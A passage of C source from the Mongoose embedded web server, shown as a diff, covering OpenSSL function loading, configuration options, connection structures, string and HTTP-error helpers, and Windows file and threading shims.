extern void SSL_CTX_set_default_passwd_cb(SSL_CTX *, mg_callback_t);
+
extern void SSL_CTX_free(SSL_CTX *);
+
extern unsigned long ERR_get_error(void);
+
extern char *ERR_error_string(unsigned long, char *);
+
extern int CRYPTO_num_locks(void);
+
extern void CRYPTO_set_locking_callback(void (*)(int, int, const char *, int));
+
extern void CRYPTO_set_id_callback(unsigned long (*)(void));
+
#else
+
// Dynamically loaded SSL functionality
+
struct ssl_func {
+
  const char *name;   // SSL function name
+
  void  (*ptr)(void); // Function pointer
+
};
+

+
#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
+
#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
+
#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
+
#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
+
#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
+
#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
+
#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
+
#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
+
#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
+
#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
+
#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
+
#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
+
        const char *, int)) ssl_sw[11].ptr)
+
#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
+
        const char *, int)) ssl_sw[12].ptr)
+
#define SSL_CTX_set_default_passwd_cb \
+
  (* (void (*)(SSL_CTX *, mg_callback_t)) ssl_sw[13].ptr)
+
#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
+
#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
+
#define SSL_CTX_use_certificate_chain_file \
+
  (* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
+
#define SSLv23_client_method (* (SSL_METHOD * (*)(void)) ssl_sw[17].ptr)
+

+
#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
+
#define CRYPTO_set_locking_callback \
+
  (* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
+
#define CRYPTO_set_id_callback \
+
  (* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
+
#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
+
#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
+

+
// set_ssl_option() function updates this array.
+
// It loads SSL library dynamically and changes NULLs to the actual addresses
+
// of respective functions. The macros above (like SSL_connect()) are really
+
// just calling these functions indirectly via the pointer.
+
static struct ssl_func ssl_sw[] = {
+
  {"SSL_free",   NULL},
+
  {"SSL_accept",   NULL},
+
  {"SSL_connect",   NULL},
+
  {"SSL_read",   NULL},
+
  {"SSL_write",   NULL},
+
  {"SSL_get_error",  NULL},
+
  {"SSL_set_fd",   NULL},
+
  {"SSL_new",   NULL},
+
  {"SSL_CTX_new",   NULL},
+
  {"SSLv23_server_method", NULL},
+
  {"SSL_library_init",  NULL},
+
  {"SSL_CTX_use_PrivateKey_file", NULL},
+
  {"SSL_CTX_use_certificate_file",NULL},
+
  {"SSL_CTX_set_default_passwd_cb",NULL},
+
  {"SSL_CTX_free",  NULL},
+
  {"SSL_load_error_strings", NULL},
+
  {"SSL_CTX_use_certificate_chain_file", NULL},
+
  {"SSLv23_client_method", NULL},
+
  {NULL,    NULL}
+
};
+

+
// Similar array as ssl_sw. These functions could be located in different lib.
+
#if !defined(NO_SSL)
+
static struct ssl_func crypto_sw[] = {
+
  {"CRYPTO_num_locks",  NULL},
+
  {"CRYPTO_set_locking_callback", NULL},
+
  {"CRYPTO_set_id_callback", NULL},
+
  {"ERR_get_error",  NULL},
+
  {"ERR_error_string", NULL},
+
  {NULL,    NULL}
+
};
+
#endif // NO_SSL
+
#endif // NO_SSL_DL
+

+
static const char *month_names[] = {
+
  "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+
  "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
+
};
+

+
// Unified socket address. For IPv6 support, add IPv6 address structure
+
// in the union u.
+
union usa {
+
  struct sockaddr sa;
+
  struct sockaddr_in sin;
+
#if defined(USE_IPV6)
+
  struct sockaddr_in6 sin6;
+
#endif
+
};
+

+
// Describes a string (chunk of memory).
+
struct vec {
+
  const char *ptr;
+
  size_t len;
+
};
+

+
// Structure used by mg_stat() function. Uses 64 bit file length.
+
struct mgstat {
+
  int is_directory;  // Directory marker
+
  int64_t size;      // File size
+
  time_t mtime;      // Modification time
+
};
+

+
// Describes listening socket, or socket which was accept()-ed by the master
+
// thread and queued for future handling by the worker thread.
+
struct socket {
+
  struct socket *next;  // Linkage
+
  SOCKET sock;          // Listening socket
+
  union usa lsa;        // Local socket address
+
  union usa rsa;        // Remote socket address
+
  int is_ssl;           // Is socket SSL-ed
+
};
+

+
// NOTE(lsm): this enum shoulds be in sync with the config_options below.
+
enum {
+
  CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
+
  MAX_REQUEST_SIZE, PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS,
+
  ACCESS_LOG_FILE, SSL_CHAIN_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
+
  GLOBAL_PASSWORDS_FILE, INDEX_FILES, ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST,
+
  EXTRA_MIME_TYPES, LISTENING_PORTS, DOCUMENT_ROOT, SSL_CERTIFICATE,
+
  NUM_THREADS, RUN_AS_USER, REWRITE, HIDE_FILES,
+
  NUM_OPTIONS
+
};
+

+
static const char *config_options[] = {
+
  "C", "cgi_pattern", "**.cgi$|**.pl$|**.php$",
+
  "E", "cgi_environment", NULL,
+
  "G", "put_delete_passwords_file", NULL,
+
  "I", "cgi_interpreter", NULL,
+
  "M", "max_request_size", "16384",
+
  "P", "protect_uri", NULL,
+
  "R", "authentication_domain", "mydomain.com",
+
  "S", "ssi_pattern", "**.shtml$|**.shtm$",
+
  "a", "access_log_file", NULL,
+
  "c", "ssl_chain_file", NULL,
+
  "d", "enable_directory_listing", "yes",
+
  "e", "error_log_file", NULL,
+
  "g", "global_passwords_file", NULL,
+
  "i", "index_files", "index.html,index.htm,index.cgi,index.shtml,index.php",
+
  "k", "enable_keep_alive", "no",
+
  "l", "access_control_list", NULL,
+
  "m", "extra_mime_types", NULL,
+
  "p", "listening_ports", "8080",
+
  "r", "document_root",  ".",
+
  "s", "ssl_certificate", NULL,
+
  "t", "num_threads", "10",
+
  "u", "run_as_user", NULL,
+
  "w", "url_rewrite_patterns", NULL,
+
  "x", "hide_files_patterns", NULL,
+
  NULL
+
};
+
#define ENTRIES_PER_CONFIG_OPTION 3
+

+
struct mg_context {
+
  volatile int stop_flag;       // Should we stop event loop
+
  SSL_CTX *ssl_ctx;             // SSL context
+
  SSL_CTX *client_ssl_ctx;      // Client SSL context
+
  char *config[NUM_OPTIONS];    // Mongoose configuration parameters
+
  mg_callback_t user_callback;  // User-defined callback function
+
  void *user_data;              // User-defined data
+

+
  struct socket *listening_sockets;
+

+
  volatile int num_threads;  // Number of threads
+
  pthread_mutex_t mutex;     // Protects (max|num)_threads
+
  pthread_cond_t  cond;      // Condvar for tracking workers terminations
+

+
  struct socket queue[20];   // Accepted sockets
+
  volatile int sq_head;      // Head of the socket queue
+
  volatile int sq_tail;      // Tail of the socket queue
+
  pthread_cond_t sq_full;    // Signaled when socket is produced
+
  pthread_cond_t sq_empty;   // Signaled when socket is consumed
+
};
+

+
struct mg_connection {
+
  struct mg_request_info request_info;
+
  struct mg_context *ctx;
+
  SSL *ssl;                   // SSL descriptor
+
  struct socket client;       // Connected client
+
  time_t birth_time;          // Time when request was received
+
  int64_t num_bytes_sent;     // Total bytes sent to client
+
  int64_t content_len;        // Content-Length header value
+
  int64_t consumed_content;   // How many bytes of content have been read
+
  char *buf;                  // Buffer for received data
+
  char *path_info;            // PATH_INFO part of the URL
+
  char *body;                 // Pointer to not-read yet buffered body data
+
  char *next_request;         // Pointer to the buffered next request
+
  int must_close;             // 1 if connection must be closed
+
  int buf_size;               // Buffer size
+
  int request_len;            // Size of the request + headers in a buffer
+
  int data_len;               // Total size of data in a buffer
+
};
+

+
const char **mg_get_valid_option_names(void) {
+
  return config_options;
+
}
+

+
static void *call_user(struct mg_connection *conn, enum mg_event event) {
+
  conn->request_info.user_data = conn->ctx->user_data;
+
  return conn->ctx->user_callback == NULL ? NULL :
+
    conn->ctx->user_callback(event, conn);
+
}
+

+
static int get_option_index(const char *name) {
+
  int i;
+

+
  for (i = 0; config_options[i] != NULL; i += ENTRIES_PER_CONFIG_OPTION) {
+
    if (strcmp(config_options[i], name) == 0 ||
+
        strcmp(config_options[i + 1], name) == 0) {
+
      return i / ENTRIES_PER_CONFIG_OPTION;
+
    }
+
  }
+
  return -1;
+
}
+

+
const char *mg_get_option(const struct mg_context *ctx, const char *name) {
+
  int i;
+
  if ((i = get_option_index(name)) == -1) {
+
    return NULL;
+
  } else if (ctx->config[i] == NULL) {
+
    return "";
+
  } else {
+
    return ctx->config[i];
+
  }
+
}
+

+
static void sockaddr_to_string(char *buf, size_t len,
+
                                     const union usa *usa) {
+
  buf[0] = '\0';
+
#if defined(USE_IPV6)
+
  inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
+
            (void *) &usa->sin.sin_addr :
+
            (void *) &usa->sin6.sin6_addr, buf, len);
+
#elif defined(_WIN32)
+
  // Only Windoze Vista (and newer) have inet_ntop()
+
  strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
+
#else
+
  inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
+
#endif
+
}
+

+
// Print error message to the opened error log stream.
+
static void cry(struct mg_connection *conn, const char *fmt, ...) {
+
  char buf[MG_BUF_LEN], src_addr[20];
+
  va_list ap;
+
  FILE *fp;
+
  time_t timestamp;
+

+
  va_start(ap, fmt);
+
  (void) vsnprintf(buf, sizeof(buf), fmt, ap);
+
  va_end(ap);
+

+
  // Do not lock when getting the callback value, here and below.
+
  // I suppose this is fine, since function cannot disappear in the
+
  // same way string option can.
+
  conn->request_info.log_message = buf;
+
  if (call_user(conn, MG_EVENT_LOG) == NULL) {
+
    fp = conn->ctx->config[ERROR_LOG_FILE] == NULL ? NULL :
+
      mg_fopen(conn->ctx->config[ERROR_LOG_FILE], "a+");
+

+
    if (fp != NULL) {
+
      flockfile(fp);
+
      timestamp = time(NULL);
+

+
      sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
+
      fprintf(fp, "[%010lu] [error] [client %s] ", (unsigned long) timestamp,
+
              src_addr);
+

+
      if (conn->request_info.request_method != NULL) {
+
        fprintf(fp, "%s %s: ", conn->request_info.request_method,
+
                conn->request_info.uri);
+
      }
+

+
      (void) fprintf(fp, "%s", buf);
+
      fputc('\n', fp);
+
      funlockfile(fp);
+
      if (fp != stderr) {
+
        fclose(fp);
+
      }
+
    }
+
  }
+
  conn->request_info.log_message = NULL;
+
}
+

+
// Return fake connection structure. Used for logging, if connection
+
// is not applicable at the moment of logging.
+
static struct mg_connection *fc(struct mg_context *ctx) {
+
  static struct mg_connection fake_connection;
+
  fake_connection.ctx = ctx;
+
  return &fake_connection;
+
}
+

+
const char *mg_version(void) {
+
  return MONGOOSE_VERSION;
+
}
+

+
const struct mg_request_info *
+
mg_get_request_info(const struct mg_connection *conn) {
+
  return &conn->request_info;
+
}
+

+
static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
+
  for (; *src != '\0' && n > 1; n--) {
+
    *dst++ = *src++;
+
  }
+
  *dst = '\0';
+
}
+

+
static int lowercase(const char *s) {
+
  return tolower(* (const unsigned char *) s);
+
}
+

+
static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
+
  int diff = 0;
+

+
  if (len > 0)
+
    do {
+
      diff = lowercase(s1++) - lowercase(s2++);
+
    } while (diff == 0 && s1[-1] != '\0' && --len > 0);
+

+
  return diff;
+
}
+

+
static int mg_strcasecmp(const char *s1, const char *s2) {
+
  int diff;
+

+
  do {
+
    diff = lowercase(s1++) - lowercase(s2++);
+
  } while (diff == 0 && s1[-1] != '\0');
+

+
  return diff;
+
}
+

+
static char * mg_strndup(const char *ptr, size_t len) {
+
  char *p;
+

+
  if ((p = (char *) malloc(len + 1)) != NULL) {
+
    mg_strlcpy(p, ptr, len + 1);
+
  }
+

+
  return p;
+
}
+

+
static char * mg_strdup(const char *str) {
+
  return mg_strndup(str, strlen(str));
+
}
+

+
// Like snprintf(), but never returns negative value, or a value
+
// that is larger than a supplied buffer.
+
// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
+
// in his audit report.
+
static int mg_vsnprintf(struct mg_connection *conn, char *buf, size_t buflen,
+
                        const char *fmt, va_list ap) {
+
  int n;
+

+
  if (buflen == 0)
+
    return 0;
+

+
  n = vsnprintf(buf, buflen, fmt, ap);
+

+
  if (n < 0) {
+
    cry(conn, "vsnprintf error");
+
    n = 0;
+
  } else if (n >= (int) buflen) {
+
    cry(conn, "truncating vsnprintf buffer: [%.*s]",
+
        n > 200 ? 200 : n, buf);
+
    n = (int) buflen - 1;
+
  }
+
  buf[n] = '\0';
+

+
  return n;
+
}
+

+
static int mg_snprintf(struct mg_connection *conn, char *buf, size_t buflen,
+
                       const char *fmt, ...) {
+
  va_list ap;
+
  int n;
+

+
  va_start(ap, fmt);
+
  n = mg_vsnprintf(conn, buf, buflen, fmt, ap);
+
  va_end(ap);
+

+
  return n;
+
}
+

+
// Skip the characters until one of the delimiters characters found.
+
// 0-terminate resulting word. Skip the delimiter and following whitespaces if any.
+
// Advance pointer to buffer to the next word. Return found 0-terminated word.
+
// Delimiters can be quoted with quotechar.
+
static char *skip_quoted(char **buf, const char *delimiters,
+
                         const char *whitespace, char quotechar) {
+
  char *p, *begin_word, *end_word, *end_whitespace;
+

+
  begin_word = *buf;
+
  end_word = begin_word + strcspn(begin_word, delimiters);
+

+
  // Check for quotechar
+
  if (end_word > begin_word) {
+
    p = end_word - 1;
+
    while (*p == quotechar) {
+
      // If there is anything beyond end_word, copy it
+
      if (*end_word == '\0') {
+
        *p = '\0';
+
        break;
+
      } else {
+
        size_t end_off = strcspn(end_word + 1, delimiters);
+
        memmove (p, end_word, end_off + 1);
+
        p += end_off; // p must correspond to end_word - 1
+
        end_word += end_off + 1;
+
      }
+
    }
+
    for (p++; p < end_word; p++) {
+
      *p = '\0';
+
    }
+
  }
+

+
  if (*end_word == '\0') {
+
    *buf = end_word;
+
  } else {
+
    end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
+

+
    for (p = end_word; p < end_whitespace; p++) {
+
      *p = '\0';
+
    }
+

+
    *buf = end_whitespace;
+
  }
+

+
  return begin_word;
+
}
+

+
// Simplified version of skip_quoted without quote char
+
// and whitespace == delimiters
+
static char *skip(char **buf, const char *delimiters) {
+
  return skip_quoted(buf, delimiters, delimiters, 0);
+
}
+

+

+
// Return HTTP header value, or NULL if not found.
+
static const char *get_header(const struct mg_request_info *ri,
+
                              const char *name) {
+
  int i;
+

+
  for (i = 0; i < ri->num_headers; i++)
+
    if (!mg_strcasecmp(name, ri->http_headers[i].name))
+
      return ri->http_headers[i].value;
+

+
  return NULL;
+
}
+

+
const char *mg_get_header(const struct mg_connection *conn, const char *name) {
+
  return get_header(&conn->request_info, name);
+
}
+

+
// A helper function for traversing a comma separated list of values.
+
// It returns a list pointer shifted to the next value, or NULL if the end
+
// of the list found.
+
// Value is stored in val vector. If value has form "x=y", then eq_val
+
// vector is initialized to point to the "y" part, and val vector length
+
// is adjusted to point only to "x".
+
static const char *next_option(const char *list, struct vec *val,
+
                               struct vec *eq_val) {
+
  if (list == NULL || *list == '\0') {
+
    // End of the list
+
    list = NULL;
+
  } else {
+
    val->ptr = list;
+
    if ((list = strchr(val->ptr, ',')) != NULL) {
+
      // Comma found. Store length and shift the list ptr
+
      val->len = list - val->ptr;
+
      list++;
+
    } else {
+
      // This value is the last one
+
      list = val->ptr + strlen(val->ptr);
+
      val->len = list - val->ptr;
+
    }
+

+
    if (eq_val != NULL) {
+
      // Value has form "x=y", adjust pointers and lengths
+
      // so that val points to "x", and eq_val points to "y".
+
      eq_val->len = 0;
+
      eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
+
      if (eq_val->ptr != NULL) {
+
        eq_val->ptr++;  // Skip over '=' character
+
        eq_val->len = val->ptr + val->len - eq_val->ptr;
+
        val->len = (eq_val->ptr - val->ptr) - 1;
+
      }
+
    }
+
  }
+

+
  return list;
+
}
+

+
static int match_prefix(const char *pattern, int pattern_len, const char *str) {
+
  const char *or_str;
+
  int i, j, len, res;
+

+
  if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
+
    res = match_prefix(pattern, or_str - pattern, str);
+
    return res > 0 ? res :
+
        match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
+
  }
+

+
  i = j = 0;
+
  res = -1;
+
  for (; i < pattern_len; i++, j++) {
+
    if (pattern[i] == '?' && str[j] != '\0') {
+
      continue;
+
    } else if (pattern[i] == '$') {
+
      return str[j] == '\0' ? j : -1;
+
    } else if (pattern[i] == '*') {
+
      i++;
+
      if (pattern[i] == '*') {
+
        i++;
+
        len = (int) strlen(str + j);
+
      } else {
+
        len = (int) strcspn(str + j, "/");
+
      }
+
      if (i == pattern_len) {
+
        return j + len;
+
      }
+
      do {
+
        res = match_prefix(pattern + i, pattern_len - i, str + j + len);
+
      } while (res == -1 && len-- > 0);
+
      return res == -1 ? -1 : j + res + len;
+
    } else if (pattern[i] != str[j]) {
+
      return -1;
+
    }
+
  }
+
  return j;
+
}
+

+
// HTTP 1.1 assumes keep alive if "Connection:" header is not set
+
// This function must tolerate situations when connection info is not
+
// set up, for example if request parsing failed.
+
static int should_keep_alive(const struct mg_connection *conn) {
+
  const char *http_version = conn->request_info.http_version;
+
  const char *header = mg_get_header(conn, "Connection");
+
  if (conn->must_close ||
+
      conn->request_info.status_code == 401 ||
+
      mg_strcasecmp(conn->ctx->config[ENABLE_KEEP_ALIVE], "yes") != 0 ||
+
      (header != NULL && mg_strcasecmp(header, "keep-alive") != 0) ||
+
      (header == NULL && http_version && strcmp(http_version, "1.1"))) {
+
    return 0;
+
  }
+
  return 1;
+
}
+

+
static const char *suggest_connection_header(const struct mg_connection *conn) {
+
  return should_keep_alive(conn) ? "keep-alive" : "close";
+
}
+

+
static void send_http_error(struct mg_connection *, int, const char *,
+
                            PRINTF_FORMAT_STRING(const char *fmt), ...)
+
  PRINTF_ARGS(4, 5);
+

+

+
static void send_http_error(struct mg_connection *conn, int status,
+
                            const char *reason, const char *fmt, ...) {
+
  char buf[MG_BUF_LEN];
+
  va_list ap;
+
  int len;
+

+
  conn->request_info.status_code = status;
+

+
  if (call_user(conn, MG_HTTP_ERROR) == NULL) {
+
    buf[0] = '\0';
+
    len = 0;
+

+
    // Errors 1xx, 204 and 304 MUST NOT send a body
+
    if (status > 199 && status != 204 && status != 304) {
+
      len = mg_snprintf(conn, buf, sizeof(buf), "Error %d: %s", status, reason);
+
      buf[len++] = '\n';
+

+
      va_start(ap, fmt);
+
      len += mg_vsnprintf(conn, buf + len, sizeof(buf) - len, fmt, ap);
+
      va_end(ap);
+
    }
+
    DEBUG_TRACE(("[%s]", buf));
+

+
    mg_printf(conn, "HTTP/1.1 %d %s\r\n"
+
              "Content-Type: text/plain\r\n"
+
              "Content-Length: %d\r\n"
+
              "Connection: %s\r\n\r\n", status, reason, len,
+
              suggest_connection_header(conn));
+
    conn->num_bytes_sent += mg_printf(conn, "%s", buf);
+
  }
+
}
+

+
#if defined(_WIN32) && !defined(__SYMBIAN32__)
+
static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
+
  unused = NULL;
+
  *mutex = CreateMutex(NULL, FALSE, NULL);
+
  return *mutex == NULL ? -1 : 0;
+
}
+

+
static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
+
  return CloseHandle(*mutex) == 0 ? -1 : 0;
+
}
+

+
static int pthread_mutex_lock(pthread_mutex_t *mutex) {
+
  return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
+
}
+

+
static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
+
  return ReleaseMutex(*mutex) == 0 ? -1 : 0;
+
}
+

+
static int pthread_cond_init(pthread_cond_t *cv, const void *unused) {
+
  unused = NULL;
+
  cv->signal = CreateEvent(NULL, FALSE, FALSE, NULL);
+
  cv->broadcast = CreateEvent(NULL, TRUE, FALSE, NULL);
+
  return cv->signal != NULL && cv->broadcast != NULL ? 0 : -1;
+
}
+

+
static int pthread_cond_wait(pthread_cond_t *cv, pthread_mutex_t *mutex) {
+
  HANDLE handles[] = {cv->signal, cv->broadcast};
+
  ReleaseMutex(*mutex);
+
  WaitForMultipleObjects(2, handles, FALSE, INFINITE);
+
  return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
+
}
+

+
static int pthread_cond_signal(pthread_cond_t *cv) {
+
  return SetEvent(cv->signal) == 0 ? -1 : 0;
+
}
+

+
static int pthread_cond_broadcast(pthread_cond_t *cv) {
+
  // Implementation with PulseEvent() has race condition, see
+
  // http://www.cs.wustl.edu/~schmidt/win32-cv-1.html
+
  return PulseEvent(cv->broadcast) == 0 ? -1 : 0;
+
}
+

+
static int pthread_cond_destroy(pthread_cond_t *cv) {
+
  return CloseHandle(cv->signal) && CloseHandle(cv->broadcast) ? 0 : -1;
+
}
+

+
// For Windows, change all slashes to backslashes in path names.
+
static void change_slashes_to_backslashes(char *path) {
+
  int i;
+

+
  for (i = 0; path[i] != '\0'; i++) {
+
    if (path[i] == '/')
+
      path[i] = '\\';
+
    // i > 0 check is to preserve UNC paths, like \\server\file.txt
+
    if (path[i] == '\\' && i > 0)
+
      while (path[i + 1] == '\\' || path[i + 1] == '/')
+
        (void) memmove(path + i + 1,
+
            path + i + 2, strlen(path + i + 1));
+
  }
+
}
+

+
// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
+
// wbuf and wbuf_len is a target buffer and its length.
+
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
+
  char buf[PATH_MAX], buf2[PATH_MAX], *p;
+

+
  mg_strlcpy(buf, path, sizeof(buf));
+
  change_slashes_to_backslashes(buf);
+

+
  // Point p to the end of the file name
+
  p = buf + strlen(buf) - 1;
+

+
  // Trim trailing backslash character
+
  while (p > buf && *p == '\\' && p[-1] != ':') {
+
    *p-- = '\0';
+
  }
+

+
   // Protect from CGI code disclosure.
+
   // This is very nasty hole. Windows happily opens files with
+
   // some garbage in the end of file name. So fopen("a.cgi    ", "r")
+
   // actually opens "a.cgi", and does not return an error!
+
  if (*p == 0x20 ||               // No space at the end
+
      (*p == 0x2e && p > buf) ||  // No '.' but allow '.' as full path
+
      *p == 0x2b ||               // No '+'
+
      (*p & ~0x7f)) {             // And generally no non-ASCII chars
+
    (void) fprintf(stderr, "Rejecting suspicious path: [%s]", buf);
+
    wbuf[0] = L'\0';
+
  } else {
+
    // Convert to Unicode and back. If doubly-converted string does not
+
    // match the original, something is fishy, reject.
+
    memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
+
    MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
+
    WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
+
                        NULL, NULL);
+
    if (strcmp(buf, buf2) != 0) {
+
      wbuf[0] = L'\0';
+
    }
+
  }
+
}
+

+
#if defined(_WIN32_WCE)
+
static time_t time(time_t *ptime) {
+
  time_t t;
+
  SYSTEMTIME st;
+
  FILETIME ft;
+

+
  GetSystemTime(&st);
+
  SystemTimeToFileTime(&st, &ft);
+
  t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
+

+
  if (ptime != NULL) {
+
    *ptime = t;
+
  }
+

+
  return t;
+
}
+

+
static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
+
  int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
+
  FILETIME ft, lft;
+
  SYSTEMTIME st;
+
  TIME_ZONE_INFORMATION tzinfo;
+

+
  if (ptm == NULL) {
+
    return NULL;
+
  }
+

+
  * (int64_t *) &ft = t;
+
  FileTimeToLocalFileTime(&ft, &lft);
+
  FileTimeToSystemTime(&lft, &st);
+
  ptm->tm_year = st.wYear - 1900;
+
  ptm->tm_mon = st.wMonth - 1;
+
  ptm->tm_wday = st.wDayOfWeek;
+
  ptm->tm_mday = st.wDay;
+
  ptm->tm_hour = st.wHour;
+
  ptm->tm_min = st.wMinute;
+
  ptm->tm_sec = st.wSecond;
+
  ptm->tm_yday = 0; // hope nobody uses this
+
  ptm->tm_isdst =
+
    GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
+

+
  return ptm;
+
}
+

+
static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
+
  // FIXME(lsm): fix this.
+
  return localtime(ptime, ptm);
+
}
+

+
static size_t strftime(char *dst, size_t dst_size, const char *fmt,
+
                       const struct tm *tm) {
+
  (void) snprintf(dst, dst_size, "implement strftime() for WinCE");
+
  return 0;
+
}
+
#endif
+

+
static int mg_rename(const char* oldname, const char* newname) {
+
  wchar_t woldbuf[PATH_MAX];
+
  wchar_t wnewbuf[PATH_MAX];
+

+
  to_unicode(oldname, woldbuf, ARRAY_SIZE(woldbuf));
+
  to_unicode(newname, wnewbuf, ARRAY_SIZE(wnewbuf));
+

+
  return MoveFileW(woldbuf, wnewbuf) ? 0 : -1;
+
}
+

+

+
static FILE *mg_fopen(const char *path, const char *mode) {
+
  wchar_t wbuf[PATH_MAX], wmode[20];
+

+
  to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+
  MultiByteToWideChar(CP_UTF8, 0, mode, -1, wmode, ARRAY_SIZE(wmode));
+

+
  return _wfopen(wbuf, wmode);
+
}
+

+
static int mg_stat(const char *path, struct mgstat *stp) {
+
  int ok = -1; // Error
+
  wchar_t wbuf[PATH_MAX];
+
  WIN32_FILE_ATTRIBUTE_DATA info;
+

+
  to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+

+
  if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
+
    stp->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
+
    stp->mtime = SYS2UNIX_TIME(info.ftLastWriteTime.dwLowDateTime,
+
                               info.ftLastWriteTime.dwHighDateTime);
+
    stp->is_directory =
+
      info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
+
    ok = 0;  // Success
+
  }
+

+
  return ok;
+
}
+

+
static int mg_remove(const char *path) {
+
  wchar_t wbuf[PATH_MAX];
+
  to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+
  return DeleteFileW(wbuf) ? 0 : -1;
+
}
+

+
static int mg_mkdir(const char *path, int mode) {
+
  char buf[PATH_MAX];
+
  wchar_t wbuf[PATH_MAX];
+

+
  mode = 0; // Unused
+
  mg_strlcpy(buf, path, sizeof(buf));
+
  change_slashes_to_backslashes(buf);
+

+
  (void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, sizeof(wbuf));
+

+
  return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
+
}
+

+
// Implementation of POSIX opendir/closedir/readdir for Windows.
+
static DIR * opendir(const char *name) {
+
  DIR *dir = NULL;
+
  wchar_t wpath[PATH_MAX];
+
  DWORD attrs;
+

+
  if (name == NULL) {
+
    SetLastError(ERROR_BAD_ARGUMENTS);
+
  } else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
+
    SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+
  } else {
+
    to_unicode(name, wpath, ARRAY_SIZE(wpath));
+
    attrs = GetFileAttributesW(wpath);
+
    if (attrs != 0xFFFFFFFF &&
+
        ((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
+
      (void) wcscat(wpath, L"\\*");
+
      dir->handle = FindFirstFileW(wpath, &dir->info);
+
      dir->result.d_name[0] = '\0';
+
    } else {
+
      free(dir);
+
      dir = NULL;
+
    }
+
  }
+

+
  return dir;
+
}
+

+
static int closedir(DIR *dir) {
+
  int result = 0;
+

+
  if (dir != NULL) {
+
    if (dir->handle != INVALID_HANDLE_VALUE)
+
      result = FindClose(dir->handle) ? 0 : -1;
+

+
    free(dir);
+
  } else {
+
    result = -1;
+
    SetLastError(ERROR_BAD_ARGUMENTS);
+
  }
+

+
  return result;
+
}
+

+
static struct dirent *readdir(DIR *dir) {
+
  struct dirent *result = 0;
+

+
  if (dir) {
+
    if (dir->handle != INVALID_HANDLE_VALUE) {
+
      result = &dir->result;
+
      (void) WideCharToMultiByte(CP_UTF8, 0,
+
          dir->info.cFileName, -1, result->d_name,
+
          sizeof(result->d_name), NULL, NULL);
+

+
      if (!FindNextFileW(dir->handle, &dir->info)) {
+
        (void) FindClose(dir->handle);
+
        dir->handle = INVALID_HANDLE_VALUE;
+
      }
+

+
    } else {
+
      SetLastError(ERROR_FILE_NOT_FOUND);
+
    }
+
  } else {
+
    SetLastError(ERROR_BAD_ARGUMENTS);
+
  }
+

+
  return result;
+
}
+

+
